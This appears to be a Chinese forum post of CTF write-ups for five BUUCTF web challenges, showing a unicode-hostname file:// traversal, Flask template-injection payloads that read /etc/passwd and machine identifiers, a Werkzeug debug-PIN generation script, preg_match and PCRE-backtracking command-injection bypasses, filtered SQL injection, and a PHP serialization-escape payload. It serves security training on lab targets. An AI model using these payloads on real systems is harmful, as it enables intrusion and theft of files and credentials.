BUUCTF-WEB(61-65)

打印 上一主题 下一主题

主题 871|帖子 871|积分 2613

[SUCTF 2019]Pythonginx

参考:[SUCTF 2019]Pythonginx 1_cve-2019-9636-CSDN博客
[SUCTF 2019]Pythonginx - 春告鳥 - 博客园 (cnblogs.com)
url中的unicode漏洞引发的域名安全问题 - 先知社区 (aliyun.com)
打开看一下源代码吧
  1. @app.route('/getUrl', methods=['GET', 'POST'])
  2. def getUrl():
  3.     url = request.args.get("url")
  4.     host = parse.urlparse(url).hostname
  5.     if host == 'suctf.cc':
  6.         return "我扌 your problem? 111"
  7.     parts = list(urlsplit(url))
  8.     host = parts[1]
  9.     if host == 'suctf.cc':
  10.         return "我扌 your problem? 222 " + host
  11.     newhost = []
  12.     for h in host.split('.'):
  13.         newhost.append(h.encode('idna').decode('utf-8'))
  14.     parts[1] = '.'.join(newhost)
  15.     #去掉 url 中的空格
  16.     finalUrl = urlunsplit(parts).split(' ')[0]
  17.     host = parse.urlparse(finalUrl).hostname
  18.     if host == 'suctf.cc':
  19.         return urllib.request.urlopen(finalUrl).read()
  20.     else:
  21.         return "我扌 your problem? 333"
复制代码
我们应该绕过前面两个if,进入第三个if,然后去读取文件
然后就是利用了特殊字符去进行绕过,详情可以看一下参考的链接、
需要构造一个特殊字符,师傅的脚本内里也都有。
先查看一下passwd的文件
  1. /getUrl?url=file://suctf.cℂ/../../../../../etc/passwd
复制代码

然后提示是nginx服务器,我们查看一下nginx服务器的配置文件,然后查看到了flag文件
  1. /getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf
复制代码
  1. /getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag
复制代码

[GYCTF2020]FlaskApp

参考:
[记一次Flask模板注入学习 GYCTF2020]FlaskApp - seven昔年 - 博客园 (cnblogs.com)
一般看到都觉得是模板注入,因为她有base64解密页面,那我们就在base64解密页面搞
我们输入payload,记得base64加密一下
  1. {{7*7}}
  2. e3s3Kjd9fQ==
复制代码
这里回显了

猜测可能是waf阻拦了,我们换一个
  1. {{7+7}}
  2. e3s3Kzd9fQ==
复制代码

回显14,那就是flask的模板注入问题
然后我就想看一下基类下面的类,但是我发现没回显,我也不太清楚,ssti也是不太熟悉
  1. {{''.__class__.__bases__[0].__subclasses__()}}
  2. e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKCl9fQ==
复制代码
这里没有回显我就开始参考师傅们的博客了
hint里发现

这里是构造了读取文件的payload
  1. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
  2. e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19
复制代码

然后的确可以读取之后,不知道flag在哪,所以要通过获取pin码打开python shell
可以先相识一下pin吧深入浅出Flask PIN - 蚁景网安实行室 - SegmentFault 思否
关于ctf中flask算pin总结_ctf:flask-CSDN博客
  1. pin码生成要六要素
  2. 1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
  3. 2.modname 默认flask.app
  4. 3.appname 默认Flask
  5. 4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
  6. 5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
  7. 6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了
  8. ————————————————
  9. 原文链接:https://blog.csdn.net/qq_35782055/article/details/129126825
复制代码
这里username应该就是flaskweb
然后modname是flask.app
然后appname是Flask
接下来拿moddir,通过报错注入得到,我们在解密页面输入不是base64加密的数据去解密,就会产生报错
发生报错后,发现了app.py的路径
  1. /usr/local/lib/python3.7/site-packages/flask/app.py
复制代码
然后读取/sys/class/net/eth0/address
  1. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
  2. e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==
复制代码

得到uuidnode是 e2:32:31:55:37:09,转为十进制262220831274775

现在就只差这个machineid,对于非docker机每一个呆板都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup:
我们获取一下machineid
  1. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
  2. e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==
复制代码
然后得到machineid是1408f836b0ca514d796cbf8960e45fa1

开始使用计算pin的脚本
  1. import hashlib
  2. from itertools import chain
  3. probably_public_bits = [
  4.     'flaskweb',
  5.     'flask.app',
  6.     'Flask',
  7.     '/usr/local/lib/python3.7/site-packages/flask/app.py',
  8. ]
  9. private_bits = [
  10.     '262220831274775',
  11.     '1408f836b0ca514d796cbf8960e45fa1'
  12. ]
  13. h = hashlib.md5()
  14. for bit in chain(probably_public_bits, private_bits):
  15.     if not bit:
  16.         continue
  17.     if isinstance(bit, str):
  18.         bit = bit.encode('utf-8')
  19.     h.update(bit)
  20. h.update(b'cookiesalt')
  21. cookie_name = '__wzd' + h.hexdigest()[:20]
  22. num = None
  23. if num is None:
  24.     h.update(b'pinsalt')
  25.     num = ('%09d' % int(h.hexdigest(), 16))[:9]
  26. rv =None
  27. if rv is None:
  28.     for group_size in 5, 4, 3:
  29.         if len(num) % group_size == 0:
  30.             rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  31.                           for x in range(0, len(num), group_size))
  32.             break
  33.     else:
  34.         rv = num
  35. print(rv)
复制代码
算出的pin
  1. 111-678-665
复制代码
然后在/console打开控制台输入pin值,进入交互式,输入
  1. import os
  2. os.popen('ls /').read()
  3. os.popen('cat /this_is_the_flag.txt').read()
复制代码

得到flag
  1. flag{7c2ab388-06a5-44e8-9a31-c5cf028ef033}
复制代码
[FBCTF2019]RCEService

参考:
[buuctf-web FBCTF2019]RCEService - AW_SOLE - 博客园 (cnblogs.com)
preg_match绕过方法总结 · HacKerQWQ's Studio
PHP利用PCRE回溯次数限定绕过某些安全限定 | 告别歌 (leavesongs.com)
打开题目说是json格式,我们应该payload写成json格式

我们实行一下
  1. {"cmd":"ls"}
复制代码
代码的确实行成功

然后这里贴一下源码吧
  1. [/code]他这里是修改了情况变量了,修改至/home/rceservice/jail,所以只能使用绝对路径使用cat命令
  2. 然后preg_match只会匹配第一行,我们可以绕过[url=https://www.cnblogs.com/z2n3/p/17272754.html]preg_match绕过简朴总结 - z2n3 - 博客园 (cnblogs.com)[/url]
  3. 看一下目录文件
  4. [code]?cmd={%0A"cmd":"ls /home/rceservice"%0A}
复制代码

然后查看flag
  1. ?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
复制代码

这边还有佬用PCRE回溯限定,附上脚本
  1. import requests
  2. payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"'+"a"*(1000000) + '"}'
  3. res = requests.post("http://e54bd70b-4ae8-4a5c-acbc-3b334763dc38.node5.buuoj.cn:81/", data={"cmd":payload})
  4. print(payload)
  5. print(res.text)
复制代码

[WUSTCTF2020]颜值成绩查询

输入
  1. 1
复制代码
回显100

后面输入
  1. 1 and 1=1
复制代码

后面发现是过滤了空格,我们用/**/测试一下
  1. 1/**/and/**/1=1
复制代码

然后
  1. 1/**/and/**/1=2
复制代码

然后判断字段数
  1. 1/**/order/**/by/**/3 // 回显正常
  2. 1/**/order/**/by/**/4 // 回显错误
复制代码
所以字段数为3,开始判断一下回显位置
  1. -1/**/union/**/select/**/1,2,3
复制代码
提示不存在,可能还有些被过滤了一些关键词

我们试试大小写绕过
  1. -1/**/Union/**/Select/**/1,2,3
复制代码

接下来爆数据库名:
  1. -1/**/Union/**/Select/**/1,2,database()
复制代码

爆表名:
  1. -1/**/Union/**/Select/**/1,2,Group_concat(table_name)From/**/information_schema.tables/**/Where/**/table_schema='ctf'
复制代码

爆列名
  1. -1/**/Union/**/Select/**/1,2,Group_concat(column_name)From/**/information_schema.columns/**/Where/**/table_schema='ctf'/**/and/**/table_name='flag'
复制代码

爆数据
  1. -1/**/Union/**/Select/**/1,2,value/**/From/**/flag
复制代码
  1. 1 And Extractvalue(1,Concat(0x7e,(Select database()),0x7e))
复制代码
[0CTF 2016]piapiapia

参考:
[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客
[BUUCTF-WEB 【0CTF 2016】piapiapia 1_0ctf 2016]piapiapia 1-CSDN博客
先实行了sql注入,都失败了
没思路了扫一扫吧,我这边什么都没扫到,根据wp是扫到了
  1. config.php index.php register.php
复制代码
后面有发现是www.zip,源码泄漏
config.php

profile.php

update.php

class.php

开始梳理可能存在漏洞的地方
在profile.php发现file_get_contents,可以进行文件读取

那profile又是那里来的呢,他是有class.php里user类的show_profile的这个方法


这个方法先调用了user类的父类mysql类内里的filter类

这里是更换字符串中的单引号和反斜杠为下划线 ,并且更换多个字符串为hacker。
implode函数是表示把数组拼接起来,拼接符是 “|”
之后又调用了mysql类内里的select方法

数据是从数据库的表出来的,看看那里进行插入数据,在mysql类内里的update方法

然后user类发现了这个方法的调用

接下来再看谁调用了user类内里的update_profile这个方法,在update.php找到

同时也看出来profile的值都有post赋值而来
这里开始分析,怎么利用漏洞
我们可以看到先判断了photo的大小,然后进行了md5加密,太难利用了

我们再看一下nickname这个参数

又在update.php有一个正则限定

然后就用数组进行一个绕过
但是数组绕过我,我们需要添加上一个}
  1. nickname[]=where";}s:5:"photo";s:10:"config.php";}
复制代码

这个时候,我们的nickname[]数组实际长度是39位,除了where,多出来了34位,所以我们需要用where构造34次,来补一下
末了的payload
  1. wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
复制代码
分析完毕后,我们去注册页面创一个号

然后登陆进去,上传的时候抓包

修改一下
  1. wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
复制代码

然后会有个链接,点击,查看源码,有一堆base64加密的数据

我们拿去解密,得到flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

光之使者

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表